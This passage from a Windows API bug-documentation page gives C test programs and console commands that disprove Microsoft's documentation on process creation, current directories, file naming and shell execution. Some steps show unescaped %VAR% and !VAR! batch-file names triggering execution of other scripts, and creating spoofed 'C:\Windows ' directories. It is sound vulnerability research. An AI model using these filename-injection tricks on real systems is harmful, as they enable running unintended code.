    						             L"CloseHandle() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    
    				if (!CloseHandle(hProcess))
    					PrintConsole(hError,
    					             L"CloseHandle() returned error %lu\n",
    					             dwError = GetLastError());
    			}
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/Oi /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c advapi32.lib kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(149) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
    user32.lib
  3. Create the text file blunder.exe.manifest with the following content next to the console application blunder.exe built in step 2.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2004-2025, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
        <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
        <trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
            <security>
                <requestedPrivileges>
                    <requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
                </requestedPrivileges>
            </security>
        </trustInfo>
    </assembly>
  4. Execute the console application blunder.exe built in step 2. with elevated access rights and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    CreateProcessWithTokenW() returned error 5
    
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH: contrary to its documentation cited above, the Win32 function CreateProcessWithTokenW() fails with Win32 error code 5 alias ERROR_ACCESS_DENIED although the access token is properly opened with TOKEN_ASSIGN_PRIMARY, TOKEN_DUPLICATE and TOKEN_QUERY_SOURCE access!
  5. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib user32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(149) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
    user32.lib
  6. Execute the console application blunder.exe built in step 5. with elevated access rights to demonstrate its proper function:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    OOPS: contrary to its documentation cited above, the Win32 function CreateProcessWithTokenW() does not need to be called with a primary token, but accepts an impersonation token as well!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 49

This blunder complements and supplements Blunder № 44.

Background Information

When a file is double-clicked, Windows graphical shell Explorer.exe looks up the file type alias Programmatic Identifier associated with its extension, retrieves the command line template registered with the default verb of that associated file type, replaces the various tokens %‹digit›, %‹letter› and %* in this command line template with file or path names and arguments, then feeds the completed command line to one of the CreateProcess(), CreateProcessAsUser(), CreateProcessWithLogonW() or CreateProcessWithTokenW() functions.

The MSDN articles File Types and File Associations and Launching Applications (ShellExecute, ShellExecuteEx, SHELLEXECUTEINFO) provide details.

CAVEAT: according to the documentation for the SetCurrentDirectory() function, the CreateProcess() function but fails if the double-clicked file resides in a directory whose path name exceeds 260 alias MAX_PATH characters:

Important

Setting a current directory longer than MAX_PATH causes CreateProcessW to fail.

Demonstration

Perform the following 8 simple steps to show that Windows graphical shell can’t distinguish batch scripts, i.e. files with extension .bat or .cmd, from applications, i.e. files with extension .com, .exe and .scr.
  1. [Screen shot of error message box from module loader on Windows 7] Create the empty file blunder.bat in an arbitrary, preferable empty directory, then open it via double-click.

    OOPS: according to the error message text, Windows treats batch scripts as applications, i.e. portable executable files!

    Note: as already shown in Blunder № 44, the Win32 error code is 193 alias ERROR_BAD_EXE_FORMAT!

  2. Create the text file blunder.c with the following content in the same directory as the empty file blunder.bat:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <shellapi.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	SHELLEXECUTEINFO sei = {sizeof(sei),
    	                        SEE_MASK_NOASYNC | SEE_MASK_NO_CONSOLE,
    	                        HWND_DESKTOP,
    	                        (LPCWSTR) NULL,
    #ifndef BLUNDER
    	                        L"blunder.bat",
    #elif BLUNDER == 1
    	                        L"Windows NT.bat",
    #else
    	                        L"%OS%.bat",
    #endif
    	                        L"/?",
    #ifndef BLUNDER
    	                        (LPCWSTR) NULL,
    #elif BLUNDER == 1
    	                        L".",
    #else
    	                        L"..",
    #endif
    	                        SW_SHOWNORMAL,
    	                        (HINSTANCE) NULL,
    	                        NULL,
    	                        (LPCWSTR) NULL,
    	                        HKEY_CLASSES_ROOT,
    	                        0UL,
    	                        (HANDLE) NULL,
    	                        (HANDLE) NULL};
    
    	DWORD	dwError = ERROR_SUCCESS;
    
    	if (!ShellExecuteEx(&sei))
    		dwError = GetLastError();
    
    	ExitProcess(dwError);
    }
    Note: this program performs the equivalent of a double-click on the file blunder.bat in the current directory.
  3. Compile and link the source file blunder.c created in step 2.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib shell32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    shell32.lib
  4. Execute the console application blunder.exe built in step 3. and evaluate its exit code to verify the Win32 error code 193:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193)
    Error message text: %1 is not a valid Win32 application.
    CertUtil: -error command completed successfully.
  5. Display the file types associated with the extensions .bat, .cmd, .com and .exe plus their command line templates to show the cause for this undocumented behaviour:

    ASSOC .bat
    FTYPE batfile
    ASSOC .cmd
    FTYPE cmdfile
    ASSOC .com
    FTYPE comfile
    ASSOC .exe
    FTYPE exefile
    .bat=batfile
    batfile="%1" %*
    .cmd=cmdfile
    cmdfile="%1" %*
    .com=comfile
    comfile="%1" %*
    .exe=exefile
    exefile="%1" %*
  6. Overwrite the empty file blunder.bat created in step 1. with the following content:

    @REM Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    @ECHO %CMDCMDLINE%
    @ECHO %~f0
    @EXIT
  7. Execute the console application blunder.exe built in step 3. a second time and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    C:\Windows\system32\cmd.exe /c ""C:\Users\Stefan\Desktop\blunder.bat" /?"
    C:\Users\Stefan\Desktop\blunder.bat
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    OUCH: the ShellExecuteEx() function (which Explorer.exe calls internally) expands the token "%1" in the command line template to the fully qualified quoted path name of the batch script blunder.bat, but fails to double the inner quotation marks!
  8. Rename the console application blunder.exe built in step 3 as blunder.cmd and execute it via double-click:

    RENAME blunder.exe *.cmd
Note: an exploration of the (mis)behaviour with a batch script file Windows NT.bat or %OS%.bat as well as an arbitrary working directory is left as an exercise to the reader.

Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 50

The documentation for the Win32 function SetCurrentDirectory() states:

Important

Setting a current directory longer than MAX_PATH causes CreateProcessW to fail.

The highlighted statement of the documentation cited above is but incomplete, misleading and wrong – the four CreateProcess*() functions fail only if the path name of the current directory exceeds MAX_PATH − 2 = 258 characters and their lpCurrentDirectory parameter is NULL, i.e. the new process should inherit the current directory of the calling process; they succeed if their lpCurrentDirectory parameter provides the path name of an existing directory less than 259 characters!

Blunder № 51

The documentation for the Win32 function SetCurrentDirectory() specifies:
Changes the current directory for the current process.
BOOL SetCurrentDirectory(
  [in] LPCTSTR lpPathName
);
[…]

[in] lpPathName

The path to the new current directory. This parameter may specify a relative path or a full path. In either case, the full path of the specified directory is calculated and stored as the current directory.

[…]

The final character before the null character must be a backslash ('\'). If you do not specify the backslash, it will be added for you; therefore, specify MAX_PATH-2 characters for the path unless you include the trailing backslash, in which case, specify MAX_PATH-1 characters for the path.

[…]

Each process has a single current directory made up of two parts:

The documentation for the Win32 function GetCurrentDirectory() repeats the wrong remark cited above:
Each process has a single current directory made up of two parts:

Falsification

Perform the following 3 simple steps to show the blunder and prove the highlighted statements of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	LPCWSTR	szDevice[3] = {L"\\\\.\\NUL",
    		               L"\\\\.\\PIPE",
    		               L"\\\\.\\PIPE\\"};
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szDirectory[MAX_PATH];
    	DWORD	dwDevice = 0UL;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    		do
    			if (!SetCurrentDirectory(szDevice[dwDevice]))
    				PrintConsole(hError,
    				             L"SetCurrentDirectory() returned error %lu for \'%ls\'\n",
    				             dwError = GetLastError(), szDevice[dwDevice]);
    			else
    				if (!GetCurrentDirectory(sizeof(szDirectory) / sizeof(*szDirectory),
    				                         szDirectory))
    					PrintConsole(hError,
    					             L"GetCurrentDirectory() returned error %lu for \'%ls\'\n",
    					             dwError = GetLastError(), szDevice[dwDevice]);
    				else
    					PrintConsole(hError,
    					             L"GetCurrentDirectory() returned value \'%ls\' for \'%ls\'\n",
    					             szDirectory, szDevice[dwDevice]);
    		while (++dwDevice < sizeof(szDevice) / sizeof(*szDevice));
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code to demonstrate the blunder:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    GetCurrentDirectory() returned value '\\.\NUL' for '\\.\NUL\'
    SetCurrentDirectory() returned error 123 for '\\.\PIPE'
    GetCurrentDirectory() returned value '\\.\PIPE' for '\\.\PIPE\'
    
    0x7b (WIN32: 123 ERROR_INVALID_NAME) -- 123 (123)
    Error message text: The filename, directory name, or volume label syntax is incorrect.
    CertUtil: -error command completed successfully.
    OUCH: contrary to the first highlighted statement of its documentation cited above, the Win32 function SetCurrentDirectory() fails to append the trailing backslash for the argument \\.\PIPE and returns the Win32 error code 123 alias ERROR_INVALID_NAME instead!

    OOPS: contrary to the second highlighted statement of its documentation cited above, the Win32 function SetCurrentDirectory() accepts a device name as current directory!

Note: the examination that the Win32 functions CreateProcess*() fail to accept \\.\NUL\ or \\.\PIPE\ as current directory is left as an exercise to the reader.

Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 52

The MSDN article Naming Files, Paths, and Namespaces specifies under the heading Naming Conventions:
The following fundamental rules enable applications to create and process valid names for files and directories, regardless of the file system:

Falsification

Perform the following 9 simple steps to show the blunder.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	FILE_RENAME_INFO	fri[] = {{TRUE, (HANDLE) NULL, sizeof(L'\0'), L'\0'},	// ␀
    				         {TRUE, (HANDLE) NULL, sizeof(L'\1'), L'\1'},	// ␁
    				         {TRUE, (HANDLE) NULL, sizeof(L'\2'), L'\2'},	// ␂
    				         {TRUE, (HANDLE) NULL, sizeof(L'\3'), L'\3'},	// ␃
    				         {TRUE, (HANDLE) NULL, sizeof(L'\4'), L'\4'},	// ␄
    				         {TRUE, (HANDLE) NULL, sizeof(L'\5'), L'\5'},	// ␅
    				         {TRUE, (HANDLE) NULL, sizeof(L'\6'), L'\6'},	// ␆
    				         {TRUE, (HANDLE) NULL, sizeof(L'\7'), L'\7'},	// ␇
    				         {TRUE, (HANDLE) NULL, sizeof(L'\a'), L'\a'},	// ␇
    				         {TRUE, (HANDLE) NULL, sizeof(L'\b'), L'\b'},	// ␈
    				         {TRUE, (HANDLE) NULL, sizeof(L'\t'), L'\t'},	// ␉
    				         {TRUE, (HANDLE) NULL, sizeof(L'\n'), L'\n'},	// ␊
    				         {TRUE, (HANDLE) NULL, sizeof(L'\v'), L'\v'},	// ␋
    				         {TRUE, (HANDLE) NULL, sizeof(L'\f'), L'\f'},	// ␌
    				         {TRUE, (HANDLE) NULL, sizeof(L'\r'), L'\r'},	// ␍
    				         {TRUE, (HANDLE) NULL, sizeof(L' '), L' '},	// Space
    				         {TRUE, (HANDLE) NULL, sizeof(L'!'), L'!'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'"'), L'"'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'#'), L'#'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'$'), L'$'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'%'), L'%'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'&'), L'&'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'\''), L'\''},
    				         {TRUE, (HANDLE) NULL, sizeof(L'('), L'('},
    				         {TRUE, (HANDLE) NULL, sizeof(L')'), L')'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'*'), L'*'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'+'), L'+'},
    				         {TRUE, (HANDLE) NULL, sizeof(L','), L','},
    				         {TRUE, (HANDLE) NULL, sizeof(L'-'), L'-'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'.'), L'.'},	// Period
    				         {TRUE, (HANDLE) NULL, sizeof(L'/'), L'/'},
    				         {TRUE, (HANDLE) NULL, sizeof(L':'), L':'},
    				         {TRUE, (HANDLE) NULL, sizeof(L';'), L';'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'<'), L'<'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'='), L'='},
    				         {TRUE, (HANDLE) NULL, sizeof(L'>'), L'>'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'?'), L'?'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'@'), L'@'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'['), L'['},
    				         {TRUE, (HANDLE) NULL, sizeof(L'\\'), L'\\'},
    				         {TRUE, (HANDLE) NULL, sizeof(L']'), L']'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'^'), L'^'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'_'), L'_'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'`'), L'`'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'{'), L'{'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'|'), L'|'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'}'), L'}'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'~'), L'~'},
    				         {TRUE, (HANDLE) NULL, sizeof(L'\177'), L'\177'},	// ␡
    				         {TRUE, (HANDLE) NULL, sizeof(L'\xDC00'), L'\xDC00'},	// Low Surrogate
    				         {TRUE, (HANDLE) NULL, sizeof(L'\xDBFF'), L'\xDBFF'},	// High Surrogate
    				         {TRUE, (HANDLE) NULL, sizeof(L'\uFEFF'), L'\uFEFF'},	// Byte Order Mark
    				         {TRUE, (HANDLE) NULL, sizeof(L'\uFFFD'), L'\uFFFD'},	// �
    				         {TRUE, (HANDLE) NULL, sizeof(L'€'), L'€'}};
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwBlunder = 0UL;
    	HANDLE	hBlunder = CreateFile(L"blunder.tmp",
    		                      DELETE,
    		                      FILE_SHARE_DELETE,
    		                      (LPSECURITY_ATTRIBUTES) NULL,
    		                      CREATE_NEW,
    		                      FILE_FLAG_DELETE_ON_CLOSE,
    		                      (HANDLE) NULL);
    
    	if (hBlunder == INVALID_HANDLE_VALUE)
    		PrintConsole(hError,
    		             L"CreateFile() returned error %lu\n",
    		             dwError = GetLastError());
    	else
    	{
    		do
    			if (!SetFileInformationByHandle(hBlunder,
    			                                FileRenameInfo,
    			                                fri + dwBlunder,
    			                                sizeof(*fri)))
    				PrintConsole(hError,
    				             L"SetFileInformationByHandle() returned error %lu for \'%lc\' (U+%04hX)\n",
    				             dwError = GetLastError(), fri[dwBlunder].FileName[0], fri[dwBlunder].FileName[0]);
    		while (++dwBlunder < sizeof(fri) / sizeof(*fri));
    
    		if (!CloseHandle(hBlunder))
    			PrintConsole(hError,
    			             L"CloseHandle() returned error %lu\n",
    			             dwError = GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(83) : warning C4428: universal-character-name encountered in source
    blunder.c(109) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code to demonstrate the blunder:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    SetFileInformationByHandle() returned error 123 for ' ' (U+0000)
    SetFileInformationByHandle() returned error 123 for '☺' (U+0001)
    SetFileInformationByHandle() returned error 123 for '☻' (U+0002)
    SetFileInformationByHandle() returned error 123 for '♥' (U+0003)
    SetFileInformationByHandle() returned error 123 for '♦' (U+0004)
    SetFileInformationByHandle() returned error 123 for '♣' (U+0005)
    SetFileInformationByHandle() returned error 123 for '♠' (U+0006)
    SetFileInformationByHandle() returned error 123 for '' (U+0007)
    SetFileInformationByHandle() returned error 123 for '' (U+0007)
    SetFileInformationByHandle() returned error 123 for ' (U+0008)
    SetFileInformationByHandle() returned error 123 for '   ' (U+0009)
    SetFileInformationByHandle() returned error 123 for '
    ' (U+000A)
    SetFileInformationByHandle() returned error 123 for '♂' (U+000B)
    SetFileInformationByHandle() returned error 123 for '♀' (U+000C)
    ' (U+000D)ormationByHandle() returned error 123 for '
    SetFileInformationByHandle() returned error 123 for ' ' (U+0020)
    SetFileInformationByHandle() returned error 123 for '"' (U+0022)
    SetFileInformationByHandle() returned error 123 for '*' (U+002A)
    SetFileInformationByHandle() returned error 5 for '.' (U+002E)
    SetFileInformationByHandle() returned error 5 for '/' (U+002F)
    SetFileInformationByHandle() returned error 123 for ':' (U+003A)
    SetFileInformationByHandle() returned error 123 for '<' (U+003C)
    SetFileInformationByHandle() returned error 123 for '>' (U+003E)
    SetFileInformationByHandle() returned error 123 for '?' (U+003F)
    SetFileInformationByHandle() returned error 5 for '\' (U+005C)
    SetFileInformationByHandle() returned error 123 for '|' (U+007C)
    
    0x7b (WIN32: 123 ERROR_INVALID_NAME) -- 123 (123)
    Error message text: The filename, directory name, or volume label syntax is incorrect.
    CertUtil: -error command completed successfully.
    Note: in addition to the reserved characters enumerated in the MSDN article cited above, the file name  , a single space, is rejected with Win32 error code 123 alias ERROR_INVALID_NAME.

    OOPS: the file name ., a single period, is like the file names / and \ rejected with Win32 error code 5 alias ERROR_ACCESS_DENIED instead of error code 123 alias ERROR_INVALID_NAME – these are the names of existing directories!

    OUCH: unpaired surrogates, i.e. invalid Unicode code points, are but accepted!

Note: an exploration of the blunder with the Win32 functions CopyFile(), CopyFile2(), CopyFileEx(), CopyFileTransacted(), CreateDirectory(), CreateDirectoryEx(), CreateDirectoryTransacted(), CreateFile(), CreateFile2(), CreateFileTransacted(), CreateHardLink(), CreateHardLinkTransacted(), CreateSymbolicLink(), CreateSymbolicLinkTransacted(), MoveFile(), MoveFileEx(), MoveFileTransacted(), MoveFileWithProgress() and ReplaceFile() is left as an exercise to the reader.

Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Demonstration

Perform the following 3 simple steps to show the true behaviour.
  1. Create the text file %OS%.bat with the following content in an arbitrary, preferable empty directory:

    @REM Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    @ECHO %CMDCMDLINE%
    @ECHO %~f0
    @EXIT
  2. Start the batch script %OS%.bat created in step 1. via double-click:

    '"C:\Users\Stefan\Desktop\Windows_NT.bat"' is not recognized as an internal or external command,
    operable program or batch file.
    OUCH¹: Windows’ graphical Shell Explorer.exe fails to execute (at least) batch scripts whose file name contains two (or more) percent signs which enclose the name of an existing environment variable!
  3. Start the Command Processor Cmd.exe, then execute the following single command line to show the blunder again:

    START /B %OS^%.bat
    '"Windows_NT.bat"' is not recognized as an internal or external command,
    operable program or batch file.
    Note: the caret escapes the second percent sign and inhibits expansion of the environment variable OS for the internal Start command.
  4. Rename the file %OS%.bat created in step 1. to %BLUNDER%.bat, then execute it either via double-click or the following equivalent command line:

    START /B %BLUNDER^%.bat
    C:\Windows\system32\cmd.exe  /K %BLUNDER%.bat
    C:\Users\Stefan\Desktop\%BLUNDER%.bat
    OUCH²: the ShellExecute() and ShellExecuteEx() functions, which Explorer.exe and the internal Start command call, fail to escape (at least) every second percent sign in the command line arguments they pass to the CreateProcess() function!
  5. Set the environment variable BLUNDER to an arbitrary value, for example blunder, and repeat step 4.:

    SET BLUNDER=blunder
    START /B %BLUNDER^%.bat
    '"blunder.bat"' is not recognized as an internal or external command,
    operable program or batch file.
    OUCH³: execution of batch scripts whose file name contains the name of an existing environment variable enclosed in percent signs fails due to the unescaped percent signs in the command line passed to the Command Processor Cmd.exe!
  6. Rename the file %BLUNDER%.bat to blunder.bat, then create the empty file blunder.bat next to it and repeat step 4. again:

    RENAME %BLUNDER^%.bat blunder.bat
    COPY NUL: %BLUNDER^%.bat
    START /B %BLUNDER^%.bat
    C:\Windows\system32\cmd.exe  /K blunder.bat
    C:\Users\Stefan\Desktop\blunder.bat
    OUCH⁴: due to the unescaped percent signs in the command line passed to the Command Processor Cmd.exe, execution of batch scripts whose file name contains the name of an existing environment variable enclosed in percent signs can be (ab)used to execute arbitrary other batch scripts!
  7. Enable delayed expansion of environment variables for the Command Processor Cmd.exe, then rename the empty file %BLUNDER%.bat to !blunder!.bat and execute the latter:

    REG.EXE ADD "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /V DelayedExpansion /T REG_DWORD /D 1 /F
    RENAME %BLUNDER^%.bat !blunder^!.bat
    START /B !blunder^!.bat
    The operation completed successfully.
    
    C:\Windows\system32\cmd.exe  /K blunder.bat
    C:\Users\Stefan\Desktop\blunder.bat
    OUCH⁵: due to the unescaped exclamation marks in the command line passed to the Command Processor Cmd.exe, execution of batch scripts whose file name contains the name of an existing environment variable enclosed in exclamation marks can be (ab)used to execute arbitrary other batch scripts when delayed expansion of environment variables is enabled!
  8. Unset the environment variable BLUNDER, then overwrite the empty file !blunder!.bat with the batch script blunder.bat and execute it:

    SET BLUNDER=
    MOVE /Y blunder.bat !blunder^!.bat
    START /B !blunder^!.bat
    C:\Windows\system32\cmd.exe  /K .bat
    C:\Users\Stefan\Desktop\.bat
    OUCH⁶: thanks to delayed expansion enabled, the string !blunder! (really: anything enclosed in exclamation marks that is not the name of an existing environment variable) in the expanded dynamic (environment) variable CMDCMDLINE and in the expanded batch parameter 0 is replaced with an empty string!
  9. Finally rename the batch script !blunder!.bat to !OS!.bat and execute it via the equivalent of a double-click:

    RENAME !blunder^!.bat !OS^!.bat
    START /B !OS^!.bat
    '"C:\Users\Stefan\Desktop\Windows_NT.bat"' is not recognized as an internal or external command,
    operable program or batch file.
    OUCH⁷: when delayed expansion of environment variables is enabled, execution of batch scripts whose file name contains the name of an existing environment variable enclosed in exclamation marks fails due to the unescaped exclamation marks in the command line passed to the Command Processor Cmd.exe!
CAVEAT: failure to escape (at least) every second percent sign or exclamation mark is a well-known weakness, documented as CWE-154: Improper Neutralization of Variable Name Delimiters in the CWE!

Blunder № 53

Contrary to the MSDN article cited in Blunder № 52, the MSKB article 2829981 states:
File and Folder names that begin or end with the ASCII Space (0x20) will be saved without these characters. File and Folder names that end with the ASCII Period (0x2E) character will also be saved without this character. All other trailing or leading whitespace characters are retained.

[…]

The Win32 API (CreateFile, FindFirstFile, etc.) uses a direct method to enumerate the files and folders on a local or remote file system. All files and folders are discoverable regardless of the inclusion or location of whitespace characters.

OOPS: NTFS, the native file system of Windows NT, stores file and directory names but in Unicode instead of ASCII!

Falsification

Perform the following simple step to show the blunder and prove the highlighted statement of the MSKB article cited above wrong.
  1. Start the Command Processor Cmd.exe, then execute the following command lines to create directories with a trailing space or period in their name, copy the Command Processor into them, execute this copy to echo its fully qualified pathname, erase it and remove the (now empty) directory:

    SET BLUNDER=%COMSPEC%
    SET COMSPEC=
    FOR %? IN ("%SystemRoot% \" "%SystemRoot% .\" "%SystemRoot% . \") DO @(
    MKDIR "%~?" && COPY "%BLUNDER%" "%~?blunder.exe" && START /B "%~?" "%~?blunder.exe" /D /C ECHO ^%COMSPEC^% && ERASE "%~?blunder.exe" && RMDIR "%~?")
    Note: the command lines can be copied and pasted as block into a Command Processor window.
            1 file(s) copied.
    C:\Windows \blunder.exe 
            1 file(s) copied.
    C:\Windows .\blunder.exe 
            1 file(s) copied.
    C:\Windows . \blunder.exe 
    OUCH: contrary to the highlighted statements of the MSKB article cited above, directories with a trailing space or period in their name can be created!

Blunder № 54

This blunder complements and supplements Blunder № 54.

The documentation for the Win32 function FindFirstFile() specifies:

Searches a directory for a file or subdirectory with a name that matches a specific name (or partial name if wildcards are used).

[…]

HANDLE FindFirstFile(
  [in]  LPCTSTR           lpFileName,
